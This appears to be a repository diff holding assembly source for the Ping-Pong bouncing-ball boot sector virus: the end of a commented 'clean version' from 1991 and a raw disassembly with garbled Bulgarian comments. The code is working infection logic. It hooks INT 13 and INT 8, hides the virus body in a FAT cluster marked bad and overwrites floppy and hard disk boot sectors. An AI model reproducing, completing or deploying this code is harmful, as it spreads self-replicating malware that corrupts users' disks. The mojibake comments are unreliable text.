;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
|
||||
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
|
||||
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
|
||||
;divide by 2.
|
||||
MOV AX,3
|
||||
TEST Byte Ptr FLAGS,00000100B ;Check for 16 bit FAT
|
||||
JZ @@0
|
||||
INC AX ;Use 4 if FAT-16
|
||||
@@0:
|
||||
MUL SI ;Multiply by cluster number
|
||||
SHR AX,1 ;Divide by 2
|
||||
|
||||
;The cluster adjustment value is needed to keep offsets within 512 bytes.
|
||||
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
|
||||
;we calculate another FAT offset for each subsequent FAT sector.
|
||||
SUB AH,FAT_OFS_ADJ ;Subtract cluster adjustment
|
||||
MOV BX,AX
|
||||
CMP BX,01FFH ;Is offset too high?
|
||||
JNB @@NEXT_SECTOR ;If so, go to next sector
|
||||
MOV DX,Word Ptr [BX+SECTOR_BUFFER] ;Get entry
|
||||
|
||||
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
|
||||
;necessary. On a FAT-16, we can use the vlaue directly.
|
||||
;If it is a 12 bit FAT:
|
||||
; Clear upper nibble if cluster number is even.
|
||||
; Otherwise, throw out lower nibble and shift down by 4 bits.
|
||||
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check
|
||||
JNZ @@2
|
||||
MOV CL,04 ;Prepare for shift
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@1
|
||||
SHR DX,CL ;Shift down by 1 nibble if odd.
|
||||
@@1:
|
||||
AND DH,0FH ;Clear highest nibble.
|
||||
|
||||
@@2:
|
||||
;A free cluster has an entry of 0. Using the OR instruction, we check for
|
||||
;an entry of 0.
|
||||
OR DX,DX
|
||||
JZ FREE_FOUND
|
||||
@@CHECK: ;See if the maximun cluster number has been
|
||||
INC SI ; reached. If so, then no free cluster has
|
||||
CMP SI,DI ; been found, so we can't infect the disk
|
||||
JBE @@FIND_FREE
|
||||
RET
|
||||
|
||||
FREE_FOUND:
|
||||
;Now that we found a free cluster, we'll set that cluster to "bad" status.
|
||||
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
|
||||
;accordingly.
|
||||
MOV DX,0FFF7H ;Bad cluster flag.
|
||||
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check.
|
||||
JNZ @@0
|
||||
AND DH,0FH ;Clear upper nibble
|
||||
MOV CL,04
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@0
|
||||
SHL DX,CL ;Shift by 4 bits if odd.
|
||||
@@0:
|
||||
OR Word Ptr [BX+SECTOR_BUFFER],DX ;Insert new value.
|
||||
MOV BX,CUR_FAT_SECTOR ;Get FAT sector #
|
||||
CALL WRITE_SECTOR ;Write modified FAT to disk
|
||||
MOV AX,SI ;Get free cluster number to AX
|
||||
SUB AX,2 ;Subtract cluster number basis
|
||||
MOV BL,SEC_PER_CLU ;Get # of sectors/cluster
|
||||
XOR BH,BH
|
||||
MUL BX ;Multiply to get sector number
|
||||
ADD AX,SYSTEM_SECTORS ;Add # system use sectors to
|
||||
MOV SI,AX ; get DOS sector # on disk
|
||||
XOR BX,BX ;Read the boot record from sector 0
|
||||
CALL READ_SECTOR
|
||||
MOV BX,SI ;Write it out to disk, in the second
|
||||
INC BX ; sector of our "bad" cluster
|
||||
CALL WRITE_SECTOR
|
||||
CONT_POINT:
|
||||
MOV BX,SI ;SI has first sector of free cluster
|
||||
MOV PART2_SECTOR,SI ;Save it
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,20H ;Adjust segment value so ES:0400 will
|
||||
MOV ES,AX ; be the same as CS:0200h
|
||||
CALL WRITE_SECTOR ;Write part 2 of virus to disk
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,40H ;Now adjust ES so an offset of 0400h
|
||||
MOV ES,AX ; will point to CS:0000h
|
||||
XOR BX,BX ;Write the first part of the virus
|
||||
CALL WRITE_SECTOR ; into the boot sector
|
||||
RET ;DISK IS NOW INFECTED!!!!
|
||||
|
||||
ORG 02B0H
|
||||
TICK_COUNT DW ?
|
||||
FAT_OFS_ADJ DB ?
|
||||
|
||||
INST_BALL: ;Install bouncing ball routine
|
||||
TEST Byte Ptr FLAGS,00000010B ;Installed already?
|
||||
JNZ @@EXIT
|
||||
OR Byte Ptr FLAGS,00000010B ;Set "installed" flag
|
||||
XOR AX,AX
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT8_OFS ;Get vector for INT 8h
|
||||
MOV BX,INT8_SEG
|
||||
MOV INT8_OFS,OFFSET NEW_INT8 ;Set vector to point at
|
||||
MOV INT8_SEG,CS ; our routine.
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT8_PATCH+1,AX ;Direcly patch original vector
|
||||
MOV INT8_PATCH+3,BX ; contents into our code.
|
||||
@@EXIT:
|
||||
RET
|
||||
|
||||
NEW_INT8 LABEL FAR ;New INT 8 handler
|
||||
PUSH DS
|
||||
PUSH AX
|
||||
PUSH BX ;Save affected registers
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,0FH ;Get video mode, page, and # of columns
|
||||
INT 10H
|
||||
MOV BL,AL ;Move mode number into BL
|
||||
;If the video mode and page are the same as last time, then continue bouncing
|
||||
;the ball. Otherwise, reset the ball position and increment, and start anew.
|
||||
;Note: The active page number is in BH throughout this routine.
|
||||
CMP BX,VIDEO_PARAMS ;Is mode and page same as last time?
|
||||
JE @@SAME_MODE
|
||||
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
|
||||
DEC AH ;Subtract 1 from number of columns
|
||||
MOV SCRN_COLS,AH ; onscreen and save it.
|
||||
MOV AH,1 ;Assume graphics mode.
|
||||
CMP BL,7 ;Mono text mode?
|
||||
JNE @@0
|
||||
DEC AH ;Set flag to 0 if so.
|
||||
@@0:
|
||||
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
|
||||
JNB @@1
|
||||
DEC AH
|
||||
@@1:
|
||||
MOV GRAF_MODE,AH ;Save flag value.
|
||||
MOV Word Ptr BALL_POS,0101H ;Set XY position to 1,1
|
||||
MOV Word Ptr BALL_INC,0101H ;Set XY increment to 1,1
|
||||
MOV AH,03H
|
||||
INT 10H ;Read cursor position into DX
|
||||
PUSH DX ; and save it on the stack.
|
||||
MOV DX,BALL_POS ;Get XY position of ball.
|
||||
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
|
||||
|
||||
@@SAME_MODE: ;Enter here if mode not changed.
|
||||
MOV AH,03H
|
||||
INT 10H ;Get cursor position into DX
|
||||
PUSH DX ; and save it.
|
||||
MOV AH,02
|
||||
MOV DX,BALL_POS
|
||||
INT 10H ;Move to bouncing ball location.
|
||||
MOV AX,ORG_CHAR ;Get original screen char & attribute.
|
||||
CMP Byte Ptr GRAF_MODE,1 ;Check for graphics mode/
|
||||
JNE @@3
|
||||
MOV AX,8307H ;If graphics mode, use CHR$(7)
|
||||
@@3: ;If not, then use original char
|
||||
MOV BL,AH ;Move color value into BL
|
||||
MOV CX,1 ;Write one character
|
||||
MOV AH,09H ; with attributes and all
|
||||
INT 10H ; into page in BH.
|
||||
|
||||
;The update routine will check for the ball's position on a screen border.
|
||||
;If it's on a border, then negate the increment for that direction.
|
||||
;(ie, if the ball was moving up, reverse it.) If the increment was not
|
||||
;changed, then "randomly" change the X or Y increment based on the lower
|
||||
;three bits of the previous screen character. This will make the ball
|
||||
;appear to bounce around "randomly" on a screen filled with characters.
|
||||
UPDATE_BALL_POS: ;Figure new ball position.
|
||||
MOV CX,BALL_INC ;Get ball position increment.
|
||||
CMP DH,0 ;Is is on the top row of the screen?
|
||||
JNZ @@0
|
||||
NEG CH
|
||||
@@0:
|
||||
CMP DH,24 ;Reached bottom edge?
|
||||
JNZ @@1
|
||||
NEG CH
|
||||
@@1:
|
||||
CMP DL,0 ;Reached left edge?
|
||||
JNZ @@2
|
||||
NEG CL
|
||||
@@2:
|
||||
CMP DL,SCRN_COLS ;Reached right edge?
|
||||
JNZ @@3
|
||||
NEG CL ;Should be familar by now!
|
||||
@@3:
|
||||
CMP CX,BALL_INC ;Is the increment the same as before?
|
||||
JNE CALC_NEW_POS ;If not, apply the modified increment.
|
||||
MOV AX,ORG_CHAR ;Do "ramdom" updating, as described
|
||||
AND AL,00000111B ; in the note above.
|
||||
CMP AL,00000011B
|
||||
JNE @@4
|
||||
NEG CH ;Reverse Y direction.
|
||||
@@4:
|
||||
CMP AL,00000101B
|
||||
JNE CALC_NEW_POS
|
||||
NEG CL ;Reverse X direction.
|
||||
|
||||
CALC_NEW_POS:
|
||||
ADD DL,CL ;Add increments to ball position.
|
||||
ADD DH,CH
|
||||
MOV BALL_INC,CX ;Save ball position increment and
|
||||
MOV BALL_POS,DX ; new ball position.
|
||||
MOV AH,02H ;Move to ball position, which is
|
||||
INT 10H ; in register DX.
|
||||
MOV AH,08H ;Read the present screen char and
|
||||
INT 10H ; attribute.
|
||||
MOV ORG_CHAR,AX ;Save them for next time.
|
||||
MOV BL,AH ;Use same attribute, if in text mode
|
||||
CMP Byte Ptr GRAF_MODE,1
|
||||
JNE @@0
|
||||
MOV BL,83H ;Otherwise, use color # 83H
|
||||
@@0:
|
||||
MOV CX,0001H ;Write one character and attribute
|
||||
MOV AX,0907H ; using CHR$(7) as the character.
|
||||
INT 10H
|
||||
POP DX ;Get old cursor position.
|
||||
MOV AH,02H ;Move cursor back to that position.
|
||||
INT 10H
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore affected registers.
|
||||
POP AX
|
||||
POP DS
|
||||
INT8_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
|
||||
|
||||
ORG_CHAR DW ? ;Original screen character and attribute.
|
||||
BALL_POS DW ? ;Bouncing ball's XY position.
|
||||
BALL_INC DW ? ;Ball's XY increment
|
||||
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
|
||||
VIDEO_PARAMS DW ? ;Mode number and page number.
|
||||
SCRN_COLS DB ? ;Number of screen columns minus 1
|
||||
|
||||
VIRUS_LENGTH EQU $-START_HERE
|
||||
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
|
||||
|
||||
;******************** End of virus code! **************************************
|
||||
|
||||
ORG 0400H ;Work area for the virus
|
||||
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
|
||||
_JMP_INST DW ?
|
||||
_NOP_INST DB ?
|
||||
|
||||
_OEM_ID DB 8 DUP(?)
|
||||
_BYTES_PER_SEC DW ?
|
||||
_SEC_PER_CLU DB ?
|
||||
_RES_SECTORS DW ?
|
||||
_FAT_COPIES DB ?
|
||||
_DIR_ENTRIES DW ? ;This is the BPB of the target
|
||||
_TOTAL_SECTORS DW ? ; disk during infection.
|
||||
_MEDIA_DESCRIP DB ?
|
||||
_SEC_PER_FAT DW ?
|
||||
_SEC_PER_TRK DW ?
|
||||
_SIDES_ON_DISK DW ?
|
||||
_HIDDEN_SECTORS DW ?
|
||||
|
||||
ORG 05BEH
|
||||
PARTITION_TABLE LABEL NEAR
|
||||
|
||||
ORG 05F3H
|
||||
_CUR_FAT_SECTOR DW ?
|
||||
_SYSTEM_SECTORS DW ?
|
||||
_FLAGS DB ?
|
||||
_DRIVE DB ?
|
||||
_PART2_SECTOR DW ?
|
||||
_CONTINUATION DB ?
|
||||
ORG 05FCH
|
||||
_VIRUS_SIG DW ?
|
||||
_BIOS_SIG DW ? ;Should always be 0AA55h
|
||||
VIRUS ENDS
|
||||
END
|
||||
|
||||
;Original virus disassembly by James L. July 1991
|
||||
;Clean version written by James L. July 1991
|
||||
;# EOF #;
|
|
@ -0,0 +1,606 @@
|
|||
; Advanced Fullscreen Disassembler v2.11
|
||||
; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988
|
||||
;
|
||||
; First listing: without DATA segment
|
||||
;
|
||||
; Segment value: 0000, length: 0200
|
||||
;
|
||||
|
||||
BIOS_SEG SEGMENT at 0h
|
||||
org 0020h
|
||||
D0020 dw 0
|
||||
D0022 dw 0
|
||||
INTERR8 label far
|
||||
org 004Ch
|
||||
D004C dw 0
|
||||
D004E dw 0
|
||||
org 0413h
|
||||
D0413 dw 0
|
||||
BIOS_SEG ends
|
||||
|
||||
|
||||
BOOT_SEG SEGMENT at 7Ch
|
||||
org 0
|
||||
BOOT_PROCESS label far
|
||||
BOOT_SEG ends
|
||||
|
||||
|
||||
DISK_ROM SEGMENT at 0C800h
|
||||
org 256h
|
||||
C800_SEG label far
|
||||
DISK_ROM ends
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
SEG0000 segment public para 'CODE'
|
||||
assume CS:SEG0000, ds:SEG0000
|
||||
|
||||
;***********************************************************;
|
||||
; <20>š<EFBFBD>‚ˆ ‘…Š’Ž<E28099> - <20>€—€‹Ž <20>€ ‚ˆ<E2809A>“‘€ ;
|
||||
; <20>€Œˆ<C592>€ ‘… <20>€ boot sector <20>€ „ˆ‘Š€ ;
|
||||
;***********************************************************;
|
||||
; ’³ª ¤°¥±º² ¥ 0000:7C00 ¨«¨ 07C0:0000
|
||||
;
|
||||
ORG 7C00h
|
||||
|
||||
JMP short L7C1E
|
||||
|
||||
D7C02 db 90h
|
||||
db 'IBM 3.1'
|
||||
DB 0
|
||||
DB 2
|
||||
D7C0D DB 2
|
||||
D7C0E DW 1
|
||||
DB 2
|
||||
DB 70h
|
||||
DB 0
|
||||
D7C13 DW 2D0h
|
||||
DB 0FDh
|
||||
DB 2
|
||||
DB 0
|
||||
D7C18 DW 9 ;Sector per track - SecPTrk
|
||||
D7C1A DW 2 ;Side per track - SidPTrk
|
||||
D7C1C DW 0
|
||||
|
||||
L7C1E: XOR AX,AX
|
||||
MOV SS,AX
|
||||
MOV SP,7C00h
|
||||
MOV DS,AX
|
||||
|
||||
assume ds:BIOS_SEG
|
||||
MOV AX,Word Ptr D0413 ;<3B> ¬ «¿¢ BIOS MEMSIZE ± 2
|
||||
SUB AX,0002h
|
||||
MOV Word Ptr D0413,AX
|
||||
assume ds:SEG0000
|
||||
|
||||
MOV CL,06h
|
||||
SHL AX,CL
|
||||
SUB AX,07C0h
|
||||
MOV ES,AX ;ES: ±¥£¬¥² § ¥²¨²¥ 2Š ¯ ¬¥²
|
||||
MOV SI,7C00h
|
||||
MOV DI,SI
|
||||
MOV CX,0100h
|
||||
REPZ MOVSW ;¬¥±²¨ ±¥ ² ¬: ¶¥«¨¿² ±¥ª²®°
|
||||
|
||||
db 08Eh,0C8h ;MOV CS,AX ;¯°¥¤ ¢ ³¯° ¢«¥¨¥²® ®¢®²® ¬¿±²®
|
||||
;CS:7C00 - ¤°¥± · «®²® ª®¤
|
||||
PUSH CS
|
||||
POP DS
|
||||
CALL L7C4A
|
||||
|
||||
L7C4A: XOR AH,AH ;RESET INT 13
|
||||
INT 13h
|
||||
AND Byte Ptr D7DF8,80h ;“±²°®©±²¢®²® ¥ ¯º°¢¨ ¤¨±ª (A: - floppy
|
||||
; C: - hard
|
||||
|
||||
|
||||
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¯º°¢¨¿² ±¥ª²®°, ªº¤¥²® ¥ ¯°®¤º«-
|
||||
PUSH CS ;¦¥¨¥²®
|
||||
POP AX
|
||||
SUB AX,0020h
|
||||
MOV ES,AX ;adres = (CS - 20h):8000h
|
||||
CALL L7C9D
|
||||
|
||||
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¢²®°¨¿² ±¥ª²®° ®² ¯°®¤º«¦¥¨¥²®
|
||||
INC BX ; (®°¬ «¨¿² BOOT)
|
||||
MOV AX,0FFC0h ;adres = 0000:7C00
|
||||
MOV ES,AX
|
||||
CALL L7C9D
|
||||
|
||||
XOR AX,AX
|
||||
MOV Byte Ptr D7DF7,AL ;—¨±²¨ ±² ²³±-¡ ©² (§ ¯®±«¥)
|
||||
MOV DS,AX
|
||||
|
||||
assume ds:BIOS_SEG
|
||||
MOV AX,Word Ptr D004C ;‡ ª ·¢ ±¥ § INT 13!
|
||||
MOV BX,Word Ptr D004E
|
||||
MOV Word Ptr D004C,offset NewINT13
|
||||
MOV Word Ptr D004E,CS
|
||||
PUSH CS
|
||||
POP DS
|
||||
assume ds:SEG0000
|
||||
MOV Word Ptr D7D2A,AX ;‡ ¯ §¢ ±² °¨¿² ¤°¥± INT 13
|
||||
MOV Word Ptr D7D2C,BX
|
||||
|
||||
MOV DL,Byte Ptr D7DF8 ;‚§¥¬ ³±²°®©±²¢®²® § BOOT ¨ ±² °²¨°
|
||||
jmp BOOT_PROCESS ;®°¬ «¨¿² BOOT process
|
||||
|
||||
|
||||
|
||||
;================================================================;
|
||||
; <20><>Žƒ<C5BD>€Œ€ ‡€ —…’…<E28099>… (L7C9D) ˆ ‡€<E280A1>ˆ‘ (L7C98) ;
|
||||
; <20>€ ‹Žƒˆ—…‘Šˆ ‘…Š’Ž<E28099> Ž’ „ˆ‘Š ;
|
||||
;----------------------------------------------------------------;
|
||||
; BX - ±¥ª²®° ®²®±® · «®²®, ª®©²® ²°¿¡¢ ¤ ±¥ ¯°®·¥²¥ ;
|
||||
; ES:8000 - ¤°¥±, ªº¤¥²® ¤ ±¥ ¯°®·¥²¥ ±¥ª²®°º² ;
|
||||
; ;
|
||||
; D7DF8 - ³±²°®©±²¢®, ®² ª®¥²® ·¥²¥ ;
|
||||
; ;
|
||||
;================================================================;
|
||||
L7C98: MOV AX,0301h
|
||||
JMP short L7CA0
|
||||
|
||||
L7C9D: MOV AX,0201h
|
||||
L7CA0: XCHG BX,AX
|
||||
ADD AX,Word Ptr D7C1C
|
||||
XOR DX,DX
|
||||
|
||||
DIV Word Ptr D7C18 ;¯°¥¢°º¹ «®£¨·¥±ª¨¿² ±¥ª²®° ¢ AX
|
||||
INC DL ; (0-7..) ¢º¢ Track, Side, Sector
|
||||
MOV CH,DL ;¢ °¥£¨±²°¨²¥ CX, DX (§ INT 13)
|
||||
XOR DX,DX
|
||||
DIV Word Ptr D7C1A
|
||||
MOV CL,06h
|
||||
SHL AH,CL
|
||||
OR AH,CH
|
||||
MOV CX,AX
|
||||
XCHG CH,CL
|
||||
MOV DH,DL
|
||||
|
||||
MOV AX,BX
|
||||
L7CC3: MOV DL,Byte Ptr D7DF8 ;¢§¥¬ ®¬¥° ¤¨±ª § ·¥²¥¥ (A:)
|
||||
MOV BX,8000h
|
||||
INT 13h
|
||||
JNC L7CCF
|
||||
POP AX ;±ª ¯¢ ±²¥ª ¨ § £¨¢ , ª® ¨¬ I/O err
|
||||
L7CCF: RET
|
||||
|
||||
|
||||
|
||||
;========================================================================;
|
||||
; ’€‡ˆ <20><>Žƒ<C5BD>€Œ€ ‘… ‚<>š‡‚€ <20>€ ŒŸ‘’Ž’Ž <20>€ ˆ‘’ˆ<E28099>‘ŠˆŸ’ INT 13 ;
|
||||
;========================================================================;
|
||||
NewINT13:
|
||||
PUSH DS ;‡ ¯ §¢ °¥£¨±²°¨²¥
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Ž¯° ¢¿ ±¢®¿ DS ¨ ES
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
TEST Byte Ptr D7DF7,01h ;€ª® ¥ 1 - ¢º§¯°®¨§¢¥¦¤ ¥ ¢¨°³± ,
|
||||
JNE L7D23 ; ®²¨¢ ¤ ¯¨¸¥ ±º± ±² ¤ °². INT 13
|
||||
|
||||
CMP AH,02h ;—¥²¥¥ ±¥ª²®°?
|
||||
JNE L7D23 ;<3B>¥, ¯°®¤º«¦ ¢ ±º± ±² ¤ °²¨¿² INT 13
|
||||
|
||||
CMP Byte Ptr D7DF8,DL ;“±²°®©±²¢®²® ±º¢¯ ¤ ± ¯®±«¥¤®²®
|
||||
MOV Byte Ptr D7DF8,DL ; ± ª®¥²® ¥ ° ¡®²¥®
|
||||
JNE L7D12 ;<3B>¥
|
||||
|
||||
XOR AH,AH ;‚§¥¬ ¢°¥¬¥²®
|
||||
INT 1Ah
|
||||
TEST DH,7Fh ;¡¨² 8000 low order part = 1?
|
||||
JNE L7D03 ;¤ , ¯°¥±ª ·
|
||||
TEST DL,0F0h ;¡¨²®¢¥ 00F0 low order part = 1?
|
||||
JNE L7D03 ;¤ , ¯°¥±ª ·
|
||||
;<3B>°®¿¢ : ª®£ ²® TIMER .and. 80F0h == 0
|
||||
;<3B>°¨¡«¨§¨²¥«® 1800 ±¥ª. = 30 ¬¨.
|
||||
|
||||
PUSH DX
|
||||
call L7EB3 ;<3B>°®¿¢ ¢¨°³± - ±ª · ¯® ¥ª°
|
||||
POP DX
|
||||
|
||||
L7D03: MOV CX,DX ;Ž¯°¥¤¥«¿ ²°¿¡¢ «¨ ¤ § ° §¿¢
|
||||
SUB DX,Word Ptr D7EB0 ; (¯®¤µ®¤¿¹ ¬®¬¥² ¢°¥¬¥)
|
||||
MOV Word Ptr D7EB0,CX
|
||||
SUB DX,+24h
|
||||
JC L7D23
|
||||
|
||||
L7D12: OR Byte Ptr D7DF7,01h ;‘² °²¨° ¢º§¯°®¨§¢¥¦¤ ¥/§ ° §¿¢ ¥
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL L7D2E
|
||||
POP DI
|
||||
POP SI
|
||||
AND Byte Ptr D7DF7,0FEh
|
||||
|
||||
L7D23: POP DX ;‚º§±² ®¢¿¢ ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
D7D2A = $+1
|
||||
D7D2C = $+3
|
||||
jmp c800_SEG ;‘² °²¨° ¨±²¨±ª¨¿² INT 13
|
||||
|
||||
|
||||
|
||||
;================================================================;
|
||||
; ‚š‡<C5A1><E280A1>Žˆ‡‚…†„€<E2809E>… <20>€ ‚ˆ<E2809A>“‘€ ˆ ‡€<E280A1>€‡Ÿ‚€<E2809A>… <20>€ <20><>Žƒ<C5BD>€Œ€ ;
|
||||
;================================================================;
|
||||
L7D2E: MOV AX,0201h ;—¥²¥ BOOT sector ®² ¤¨±ª
|
||||
MOV DH,00h ; BX = ?????????????????????? ªº¤¥, ¡¥!
|
||||
MOV CX,0001h
|
||||
CALL L7CC3
|
||||
|
||||
TEST Byte Ptr D7DF8,80h ;HARD DISK?
|
||||
JE L7D63 ;¥
|
||||
|
||||
;---- HARD DISK ----;
|
||||
MOV SI,81BEh ;’º°±¨ DOS partition
|
||||
MOV CX,0004h
|
||||
L7D46: CMP Byte Ptr [SI+04h],01h
|
||||
JE L7D58
|
||||
CMP Byte Ptr [SI+04h],04h
|
||||
JE L7D58
|
||||
ADD SI,+10h
|
||||
LOOP L7D46
|
||||
RET ;¿¬ DOS partition, ¥ § ° §¿¢
|
||||
|
||||
;---- <20> ¬¥°¥ ¥ DOS partition ----;
|
||||
L7D58: MOV DX,Word Ptr [SI]
|
||||
MOV CX,Word Ptr [SI+02h]
|
||||
MOV AX,0201h
|
||||
CALL L7CC3 ;—¥²¥ BOOT sector ®² DOS partition
|
||||
|
||||
;---- ’³ª ¨¤¢ ª® ¥ ¤¨±ª¥² , ¯°®·¥²¥ ¥ BOOT sector ----;
|
||||
L7D63: MOV SI,8002h
|
||||
MOV DI,offset D7C02
|
||||
MOV CX,001Ch
|
||||
REPZ MOVSB ;¬¥±²¨ BPB ² ¡«¨¶ ² ®² BOOT sector
|
||||
|
||||
CMP Word Ptr D8000+01FCh,1357h ;‡ ° §¥ «¨ ¥ ¤¨±ª ?
|
||||
JNE L7D8B ;¥
|
||||
|
||||
CMP Byte Ptr D8000+01FBh,00h ;Šº¤¥ «¨ ±®·¨ DS?
|
||||
JNC L7D8A
|
||||
|
||||
;---- „¨±ª ¥ § ° §¥ ----; ;---- ’³ª ¬ © ¿¬ ¤ ¤®©¤¥ ¨ª®£ ? ----;
|
||||
MOV AX,Word Ptr D8000+01F5h ;<3B>®¦ ° ¡®² ...
|
||||
MOV Word Ptr D7DF5,AX
|
||||
MOV SI,Word Ptr D8000+01F9h
|
||||
jmp L7E92
|
||||
|
||||
L7D8A: RET
|
||||
|
||||
|
||||
|
||||
;-------------------
|
||||
; „ˆ‘Š€ <20>… … ‡€<E280A1>€‡…<E280A1>, <20>Ž—‚€ ‡€<E280A1>€‡Ÿ‚€<E2809A>…’Ž
|
||||
;
|
||||
L7D8B: CMP Word Ptr D8000+000Bh,0200h ;’®¢ ¥ ¥ ¨²¥°¥±®
|
||||
JNE L7D8A
|
||||
CMP Byte Ptr D8000+000Dh,02h
|
||||
JC L7D8A
|
||||
MOV CX,Word Ptr D8000+000Eh
|
||||
MOV AL,Byte Ptr D8000+0010h
|
||||
CBW
|
||||
MUL Word Ptr D8000+0016h
|
||||
ADD CX,AX
|
||||
MOV AX,0020h
|
||||
MUL Word Ptr D8000+0011h
|
||||
ADD AX,01FFh
|
||||
MOV BX,0200h
|
||||
DIV BX
|
||||
ADD CX,AX
|
||||
MOV Word Ptr D7DF5,CX
|
||||
MOV AX,Word Ptr D7C13
|
||||
SUB AX,Word Ptr D7DF5
|
||||
MOV BL,Byte Ptr D7C0D
|
||||
XOR DX,DX
|
||||
XOR BH,BH
|
||||
DIV BX
|
||||
INC AX
|
||||
MOV DI,AX
|
||||
AND Byte Ptr D7DF7,0FBh
|
||||
CMP AX,0FF0h
|
||||
JBE L7DE0
|
||||
OR Byte Ptr D7DF7,04h
|
||||
L7DE0: MOV SI,0001h
|
||||
MOV BX,Word Ptr D7C0E
|
||||
DEC BX
|
||||
MOV Word Ptr D7DF3,BX
|
||||
MOV Byte Ptr D7EB2,0FEh
|
||||
JMP short L7E00
|
||||
|
||||
D7DF3 DW 1
|
||||
D7DF5 DW 000Ch
|
||||
D7DF7 DB 1 ;±² ²³±-¡ ©²:
|
||||
; 0000 0001 - ±² °²¨° ® ¥ ¢º§¯°®¨§¢¥¦¤ ¥
|
||||
; 0000 0010 - § ª ·¥ ¥ INT 08
|
||||
; 0000 0100
|
||||
D7DF8 DB 00 ;³±²°®©±²¢®: 0 - A:, 1 - B:, ...
|
||||
D7DF9 DW 274h ;«®£¨·¥±ª¨ ±¥ª²®°, ªº¤¥²® ¥ § ¯¨± ® ¯°®¤º«¦¥¨¥²®
|
||||
|
||||
|
||||
DB 00
|
||||
|
||||
DW 1357h ;ˆ<>„ˆŠ€’Ž<E28099> ‡€ ‡€<E280A1>€‡…<E280A1> „ˆ‘Š!!!!!!!!
|
||||
|
||||
DW 0AA55h ;®°¬ «¥ BOOT ±¥ª²®°
|
||||
|
||||
|
||||
;***********************************************************;
|
||||
; ‚’Ž<E28099>ˆ ‘…Š’Ž<E28099> - <20><>Ž„š‹†…<E280A0>ˆ… <20>€ ‚ˆ<E2809A>“‘€ ;
|
||||
; <20>€Œˆ<C592>€ ‘… <20>€ bad sector <20>€‚š’<C5A1>… ‚ „ˆ‘Š€ ;
|
||||
;***********************************************************;
|
||||
L7E00: INC Word Ptr D7DF3
|
||||
MOV BX,Word Ptr D7DF3
|
||||
ADD Byte Ptr D7EB2,02h
|
||||
call L7C9D
|
||||
JMP short L7E4B
|
||||
L7E12: MOV AX,0003h
|
||||
TEST Byte Ptr D7DF7,04h
|
||||
JE L7E1D
|
||||
INC AX
|
||||
L7E1D: MUL SI
|
||||
SHR AX,1
|
||||
SUB AH,Byte Ptr D7EB2
|
||||
MOV BX,AX
|
||||
CMP BX,01FFh
|
||||
JNC L7E00
|
||||
MOV DX,Word Ptr D8000[BX]
|
||||
TEST Byte Ptr D7DF7,04h
|
||||
JNE L7E45
|
||||
MOV CL,04h
|
||||
TEST SI,0001h
|
||||
JE L7E42
|
||||
SHR DX,CL
|
||||
L7E42: AND DH,0Fh
|
||||
L7E45: TEST DX,0FFFFh
|
||||
JE L7E51
|
||||
L7E4B: INC SI
|
||||
CMP SI,DI
|
||||
JBE L7E12
|
||||
RET
|
||||
L7E51: MOV DX,0FFF7h
|
||||
TEST Byte Ptr D7DF7,04h
|
||||
JNE L7E68
|
||||
AND DH,0Fh
|
||||
MOV CL,04h
|
||||
TEST SI,0001h
|
||||
JE L7E68
|
||||
SHL DX,CL
|
||||
L7E68: OR Word Ptr D8000[BX],DX
|
||||
MOV BX,Word Ptr D7DF3
|
||||
call L7C98
|
||||
MOV AX,SI
|
||||
SUB AX,0002h
|
||||
|
||||
MOV BL,Byte Ptr D7C0D
|
||||
XOR BH,BH
|
||||
MUL BX
|
||||
ADD AX,Word Ptr D7DF5
|
||||
MOV SI,AX
|
||||
MOV BX,0000h
|
||||
call L7C9D
|
||||
|
||||
MOV BX,SI
|
||||
INC BX
|
||||
call L7C98
|
||||
|
||||
L7E92: MOV BX,SI
|
||||
MOV Word Ptr D7DF9,SI
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,0020h
|
||||
MOV ES,AX
|
||||
call L7C98
|
||||
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,0040h
|
||||
MOV ES,AX
|
||||
MOV BX,0000h
|
||||
call L7C98
|
||||
RET
|
||||
|
||||
D7EB0 DW 0EEF0h
|
||||
D7EB2 DB 0
|
||||
|
||||
|
||||
;=======================================================;
|
||||
; ‡€Š€—‚€<E2809A>… ‡€ int 08, €ŠŽ <20>… … ‡€Š€—…<E28094>€ ;
|
||||
;=======================================================;
|
||||
L7EB3: TEST Byte Ptr D7DF7,02h
|
||||
JNE L7EDE
|
||||
OR Byte Ptr D7DF7,02h
